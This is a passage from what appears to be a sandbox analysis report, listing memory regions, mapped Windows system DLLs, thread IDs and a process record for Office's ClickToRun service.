	     entry_point = 0x7ffbfe5c0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1764
	        start_va = 0x7ffbfec30000
	          end_va = 0x7ffbfecf7fff
	     entry_point = 0x7ffbfec30000
	     region_type = mapped_file
	            name = "coremessaging.dll"
	        filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll")

Region:
	              id = 1765
	        start_va = 0x7ffbff210000
	          end_va = 0x7ffbff236fff
	     entry_point = 0x7ffbff210000
	     region_type = mapped_file
	            name = "devobj.dll"
	        filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll")

Region:
	              id = 1766
	        start_va = 0x7ffbff5d0000
	          end_va = 0x7ffbff601fff
	     entry_point = 0x7ffbff5d0000
	     region_type = mapped_file
	            name = "fwbase.dll"
	        filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll")

Region:
	              id = 1767
	        start_va = 0x7ffbff7c0000
	          end_va = 0x7ffbff7e2fff
	     entry_point = 0x7ffbff7c0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 1768
	        start_va = 0x7ffbff9b0000
	          end_va = 0x7ffbff9f7fff
	     entry_point = 0x7ffbff9b0000
	     region_type = mapped_file
	            name = "authz.dll"
	        filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll")

Region:
	              id = 1769
	        start_va = 0x7ffbffaf0000
	          end_va = 0x7ffbffafbfff
	     entry_point = 0x7ffbffaf0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 1770
	        start_va = 0x7ffbffbe0000
	          end_va = 0x7ffbffc11fff
	     entry_point = 0x7ffbffbe0000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 1771
	        start_va = 0x7ffbffd20000
	          end_va = 0x7ffbffd77fff
	     entry_point = 0x7ffbffd20000
	     region_type = mapped_file
	            name = "winsta.dll"
	        filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll")

Region:
	              id = 1772
	        start_va = 0x7ffbffdc0000
	          end_va = 0x7ffbffdf2fff
	     entry_point = 0x7ffbffdc0000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 1773
	        start_va = 0x7ffbfff10000
	          end_va = 0x7ffbfffb7fff
	     entry_point = 0x7ffbfff10000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 1774
	        start_va = 0x7ffc00110000
	          end_va = 0x7ffc0016cfff
	     entry_point = 0x7ffc00110000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 1775
	        start_va = 0x7ffc00170000
	          end_va = 0x7ffc00186fff
	     entry_point = 0x7ffc00170000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 1776
	        start_va = 0x7ffc002e0000
	          end_va = 0x7ffc002eafff
	     entry_point = 0x7ffc002e0000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 1777
	        start_va = 0x7ffc004c0000
	          end_va = 0x7ffc004ebfff
	     entry_point = 0x7ffc004c0000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 1778
	        start_va = 0x7ffc006c0000
	          end_va = 0x7ffc006e7fff
	     entry_point = 0x7ffc006c0000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 1779
	        start_va = 0x7ffc006f0000
	          end_va = 0x7ffc0075afff
	     entry_point = 0x7ffc006f0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 1780
	        start_va = 0x7ffc008a0000
	          end_va = 0x7ffc008e9fff
	     entry_point = 0x7ffc008a0000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 1781
	        start_va = 0x7ffc00910000
	          end_va = 0x7ffc0091efff
	     entry_point = 0x7ffc00910000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")

Region:
	              id = 1782
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1783
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 1784
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1785
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1786
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1787
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 1788
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1789
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1790
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1791
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1792
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1793
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1794
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1795
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1796
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1797
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1798
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")


Thread:
	id = 373
	os_tid = 0xc6c


Thread:
	id = 374
	os_tid = 0x134


Thread:
	id = 375
	os_tid = 0x79c


Thread:
	id = 376
	os_tid = 0x704


Thread:
	id = 377
	os_tid = 0x6fc


Thread:
	id = 378
	os_tid = 0x6f8


Thread:
	id = 379
	os_tid = 0x6e4


Thread:
	id = 380
	os_tid = 0x698


Thread:
	id = 381
	os_tid = 0x5b8


Thread:
	id = 382
	os_tid = 0x5b4


Thread:
	id = 383
	os_tid = 0x5ac


Thread:
	id = 384
	os_tid = 0x570


Thread:
	id = 385
	os_tid = 0x538


Thread:
	id = 386
	os_tid = 0x520


Thread:
	id = 387
	os_tid = 0x4f8


Thread:
	id = 388
	os_tid = 0x4e0


Thread:
	id = 389
	os_tid = 0x4c4


Thread:
	id = 390
	os_tid = 0x4c0


Thread:
	id = 391
	os_tid = 0x4b4


Thread:
	id = 392
	os_tid = 0x4b0


Thread:
	id = 393
	os_tid = 0x4a8


Thread:
	id = 394
	os_tid = 0x4a0


Thread:
	id = 395
	os_tid = 0x49c


Thread:
	id = 396
	os_tid = 0x498


Thread:
	id = 397
	os_tid = 0x494


Thread:
	id = 398
	os_tid = 0x484


Thread:
	id = 399
	os_tid = 0x460


Process:
	id = "19"
	image_name = "officeclicktorun.exe"
	filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"
	page_root = "0x4bd2f000"
	os_pid = "0x4e4"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "8"
	os_parent_pid = "0x1e4"
	cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" /service"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7]

Region:
	              id = 2505
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2506
	        start_va = 0x5aaff00000
	          end_va = 0x5aaff0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005aaff00000"
	        filename = ""

Region:
	              id = 2507
	        start_va = 0x5aaff10000
	          end_va = 0x5aaff16fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005aaff10000"
	        filename = ""

Region:
	              id = 2508
	        start_va = 0x5aaff20000
	          end_va = 0x5aaff33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005aaff20000"
	        filename = ""

Region:
	              id = 2509
	        start_va = 0x5aaff40000
	          end_va = 0x5ab003ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005aaff40000"
	        filename = ""

Region:
	              id = 2510
	        start_va = 0x5ab0040000
	          end_va = 0x5ab0043fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab0040000"
	        filename = ""

Region:
	              id = 2511
	        start_va = 0x5ab0050000
	          end_va = 0x5ab0052fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab0050000"
	        filename = ""

Region:
	              id = 2512
	        start_va = 0x5ab0060000
	          end_va = 0x5ab0061fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab0060000"
	        filename = ""

Region:
	              id = 2513
	        start_va = 0x5ab0070000
	          end_va = 0x5ab012dfff
	     entry_point = 0x5ab0070000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2514
	        start_va = 0x5ab0130000
	          end_va = 0x5ab0136fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab0130000"
	        filename = ""

Region:
	              id = 2515
	        start_va = 0x5ab0140000
	          end_va = 0x5ab0140fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab0140000"
	        filename = ""

Region:
	              id = 2516
	        start_va = 0x5ab0150000
	          end_va = 0x5ab0150fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab0150000"
	        filename = ""

Region:
	              id = 2517
	        start_va = 0x5ab0160000
	          end_va = 0x5ab0160fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab0160000"
	        filename = ""

Region:
	              id = 2518
	        start_va = 0x5ab0170000
	          end_va = 0x5ab0170fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab0170000"
	        filename = ""

Region:
	              id = 2519
	        start_va = 0x5ab0180000
	          end_va = 0x5ab0181fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab0180000"
	        filename = ""

Region:
	              id = 2520
	        start_va = 0x5ab0190000
	          end_va = 0x5ab0190fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab0190000"
	        filename = ""

Region:
	              id = 2521
	        start_va = 0x5ab01a0000
	          end_va = 0x5ab01a1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab01a0000"
	        filename = ""

Region:
	              id = 2522
	        start_va = 0x5ab01b0000
	          end_va = 0x5ab01b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab01b0000"
	        filename = ""

Region:
	              id = 2523
	        start_va = 0x5ab01c0000
	          end_va = 0x5ab02bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab01c0000"
	        filename = ""

Region:
	              id = 2524
	        start_va = 0x5ab02c0000
	          end_va = 0x5ab03bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab02c0000"
	        filename = ""

Region:
	              id = 2525
	        start_va = 0x5ab03c0000
	          end_va = 0x5ab047ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab03c0000"
	        filename = ""

Region:
	              id = 2526
	        start_va = 0x5ab0480000
	          end_va = 0x5ab0480fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab0480000"
	        filename = ""

Region:
	              id = 2527
	        start_va = 0x5ab0490000
	          end_va = 0x5ab0490fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab0490000"
	        filename = ""

Region:
	              id = 2528
	        start_va = 0x5ab04a0000
	          end_va = 0x5ab04a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab04a0000"
	        filename = ""

Region:
	              id = 2529
	        start_va = 0x5ab04b0000
	          end_va = 0x5ab04b0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab04b0000"
	        filename = ""

Region:
	              id = 2530
	        start_va = 0x5ab04c0000
	          end_va = 0x5ab04c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab04c0000"
	        filename = ""

Region:
	              id = 2531
	        start_va = 0x5ab04d0000
	          end_va = 0x5ab04d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab04d0000"
	        filename = ""

Region:
	              id = 2532
	        start_va = 0x5ab04e0000
	          end_va = 0x5ab04e0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab04e0000"
	        filename = ""

Region:
	              id = 2533
	        start_va = 0x5ab04f0000
	          end_va = 0x5ab04f0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab04f0000"
	        filename = ""

Region:
	              id = 2534
	        start_va = 0x5ab0500000
	          end_va = 0x5ab0500fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab0500000"
	        filename = ""

Region:
	              id = 2535
	        start_va = 0x5ab0510000
	          end_va = 0x5ab0510fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab0510000"
	        filename = ""

Region:
	              id = 2536
	        start_va = 0x5ab0520000
	          end_va = 0x5ab052ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab0520000"
	        filename = ""

Region:
	              id = 2537
	        start_va = 0x5ab0530000
	          end_va = 0x5ab06b7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab0530000"
	        filename = ""

Region:
	              id = 2538
	        start_va = 0x5ab06c0000
	          end_va = 0x5ab0840fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab06c0000"
	        filename = ""

Region:
	              id = 2539
	        start_va = 0x5ab0850000
	          end_va = 0x5ab0b86fff
	     entry_point = 0x5ab0850000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2540
	        start_va = 0x5ab0b90000
	          end_va = 0x5ab0dacfff
	     entry_point = 0x5ab0b90000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 2541
	        start_va = 0x5ab0db0000
	          end_va = 0x5ab0eaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab0db0000"
	        filename = ""

Region:
	              id = 2542
	        start_va = 0x5ab0eb0000
	          end_va = 0x5ab0faffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab0eb0000"
	        filename = ""

Region:
	              id = 2543
	        start_va = 0x5ab0fb0000
	          end_va = 0x5ab10affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab0fb0000"
	        filename = ""

Region:
	              id = 2544
	        start_va = 0x5ab10b0000
	          end_va = 0x5ab11affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab10b0000"
	        filename = ""

Region:
	              id = 2545
	        start_va = 0x5ab11b0000
	          end_va = 0x5ab12affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab11b0000"
	        filename = ""

Region:
	              id = 2546
	        start_va = 0x5ab12b0000
	          end_va = 0x5ab14affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab12b0000"
	        filename = ""

Region:
	              id = 2547
	        start_va = 0x5ab14b0000
	          end_va = 0x5ab15affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab14b0000"
	        filename = ""

Region:
	              id = 2548
	        start_va = 0x5ab15b0000
	          end_va = 0x5ab16bcfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab15b0000"
	        filename = ""

Region:
	              id = 2549
	        start_va = 0x5ab16c0000
	          end_va = 0x5ab18cefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab16c0000"
	        filename = ""

Region:
	              id = 2550
	        start_va = 0x5ab18d0000
	          end_va = 0x5ab19cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab18d0000"
	        filename = ""

Region:
	              id = 2551
	        start_va = 0x5ab19d0000
	          end_va = 0x5ab1acffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab19d0000"
	        filename = ""

Region:
	              id = 2552
	        start_va = 0x5ab1ad0000
	          end_va = 0x5ab1bcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab1ad0000"
	        filename = ""

Region:
	              id = 2553
	        start_va = 0x5ab1bd0000
	          end_va = 0x5ab1ccffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab1bd0000"
	        filename = ""

Region:
	              id = 2554
	        start_va = 0x5ab1cd0000
	          end_va = 0x5ab1cd0fff
	     entry_point = 0x5ab1cd0000
	     region_type = mapped_file
	            name = "msxml6r.dll"
	        filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll")

Region:
	              id = 2555
	        start_va = 0x5ab1ce0000
	          end_va = 0x5ab1ce6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab1ce0000"
	        filename = ""

Region:
	              id = 2556
	        start_va = 0x5ab1cf0000
	          end_va = 0x5ab1cf0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab1cf0000"
	        filename = ""

Region:
	              id = 2557
	        start_va = 0x5ab1d00000
	          end_va = 0x5ab1d00fff
	     entry_point = 0x5ab1d00000
	     region_type = mapped_file
	            name = "counters.dat"
	        filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat")

Region:
	              id = 2558
	        start_va = 0x5ab1d10000
	          end_va = 0x5ab1d14fff
	     entry_point = 0x5ab1d10000
	     region_type = mapped_file
	            name = "winnlsres.dll"
	        filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll")

Region:
	              id = 2559
	        start_va = 0x5ab1d20000
	          end_va = 0x5ab1d2ffff
	     entry_point = 0x5ab1d20000
	     region_type = mapped_file
	            name = "winnlsres.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui")

Region:
	              id = 2560
	        start_va = 0x5ab1d30000
	          end_va = 0x5ab1d32fff
	     entry_point = 0x5ab1d30000
	     region_type = mapped_file
	            name = "mswsock.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui")

Region:
	              id = 2561
	        start_va = 0x5ab1d40000
	          end_va = 0x5ab1d41fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab1d40000"
	        filename = ""

Region:
	              id = 2562
	        start_va = 0x5ab1d50000
	          end_va = 0x5ab1d59fff
	     entry_point = 0x5ab1d50000
	     region_type = mapped_file
	            name = "crypt32.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui")

Region:
	              id = 2563
	        start_va = 0x5ab1d80000
	          end_va = 0x5ab1d8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab1d80000"
	        filename = ""

Region:
	              id = 2564
	        start_va = 0x5ab1dd0000
	          end_va = 0x5ab1ecffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab1dd0000"
	        filename = ""

Region:
	              id = 2565
	        start_va = 0x5ab1ed0000
	          end_va = 0x5ab1fcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab1ed0000"
	        filename = ""

Region:
	              id = 2566
	        start_va = 0x5ab1fd0000
	          end_va = 0x5ab20cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab1fd0000"
	        filename = ""

Region:
	              id = 2567
	        start_va = 0x5ab20d0000
	          end_va = 0x5ab20d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000005ab20d0000"
	        filename = ""

Region:
	              id = 2568
	        start_va = 0x5ab20e0000
	          end_va = 0x5ab21dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab20e0000"
	        filename = ""

Region:
	              id = 2569
	        start_va = 0x5ab21e0000
	          end_va = 0x5ab22dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab21e0000"
	        filename = ""

Region:
	              id = 2570
	        start_va = 0x5ab22e0000
	          end_va = 0x5ab23dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab22e0000"
	        filename = ""

Region:
	              id = 2571
	        start_va = 0x5ab23e0000
	          end_va = 0x5ab27dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab23e0000"
	        filename = ""

Region:
	              id = 2572
	        start_va = 0x5ab27e0000
	          end_va = 0x5ab28befff
	     entry_point = 0x5ab27e0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2573
	        start_va = 0x5ab28c0000
	          end_va = 0x5ab29bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab28c0000"
	        filename = ""

Region:
	              id = 2574
	        start_va = 0x5ab29c0000
	          end_va = 0x5ab2bbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab29c0000"
	        filename = ""

Region:
	              id = 2575
	        start_va = 0x5ab2bc0000
	          end_va = 0x5ab2fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab2bc0000"
	        filename = ""

Region:
	              id = 2576
	        start_va = 0x5ab2fc0000
	          end_va = 0x5ab37bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab2fc0000"
	        filename = ""

Region:
	              id = 2577
	        start_va = 0x5ab37c0000
	          end_va = 0x5ab478ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab37c0000"
	        filename = ""

Region:
	              id = 2578
	        start_va = 0x5ab4790000
	          end_va = 0x5ab488ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab4790000"
	        filename = ""

Region:
	              id = 2579
	        start_va = 0x5ab4890000
	          end_va = 0x5ab498ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab4890000"
	        filename = ""

Region:
	              id = 2580
	        start_va = 0x5ab4990000
	          end_va = 0x5ab4a8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab4990000"
	        filename = ""

Region:
	              id = 2581
	        start_va = 0x5ab4ec0000
	          end_va = 0x5ab5e8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab4ec0000"
	        filename = ""

Region:
	              id = 2582
	        start_va = 0x5ab66a0000
	          end_va = 0x5ab766ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000005ab66a0000"
	        filename = ""

Region:
	              id = 2583
	        start_va = 0x7df5ff5c0000
	          end_va = 0x7ff5ff5bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff5c0000"
	        filename = ""

Region:
	              id = 2584
	        start_va = 0x7ff736308000
	          end_va = 0x7ff736309fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff736308000"
	        filename = ""

Region:
	              id = 2585
	        start_va = 0x7ff73630a000
	          end_va = 0x7ff73630bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff73630a000"
	        filename = ""

Region:
	              id = 2586
	        start_va = 0x7ff73630c000
	          end_va = 0x7ff73630dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff73630c000"
	        filename = ""

Region:
	              id = 2587
	        start_va = 0x7ff73630e000
	          end_va = 0x7ff73630ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff73630e000"
	        filename = ""

Region:
